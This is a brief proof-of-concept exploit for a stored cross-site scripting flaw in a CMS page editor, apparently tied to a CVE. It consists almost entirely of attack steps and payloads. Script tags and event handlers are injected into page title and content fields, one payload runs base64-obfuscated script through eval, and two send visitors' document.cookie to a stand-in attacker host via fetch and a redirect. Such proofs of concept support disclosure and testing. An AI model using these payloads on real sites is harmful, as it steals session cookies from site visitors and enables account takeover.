CVE-2025-9980 QuickCMS 页面编辑器存储型XSS漏洞

// CVE-2025-9980 QuickCMS Stored XSS PoC // Target: QuickCMS pages-form functionality // Step 1: Login as admin user const loginPayload = { username: 'admin', password: 'admin_password' }; // Step 2: Navigate to page editor (pages-form) // POST /admin/pages-form?action=edit&id=1 HTTP/1.1 // Step 3: Inject XSS payload in page content fields // Example payloads for different fields: // Payload 1: Basic script injection const xssPayload1 = '<script>alert(document.cookie)</script>'; // Payload 2: Event handler injection const xssPayload2 = '<img src=x onerror="fetch(\"https://attacker.com/steal?c=\"+document.cookie)\">'; // Payload 3: SVG injection const xssPayload3 = '<svg onload="eval(atob(\"YWxlcnQoZG9jdW1lbnQuY29va2llKQ==\"))">'; // Step 4: Send malicious page edit request const exploitRequest = { method: 'POST', path: '/admin/pages-form', body: { page_title: 'Normal Page Title <script>alert(1)</script>', page_content: '<p>Content with <img src=x onerror=alert(document.domain)> injection</p>', page_template: 'default' } }; // Step 5: When victim visits the edited page, XSS will execute // <script>window.location='https://attacker.com/phishing?c='+document.cookie</script>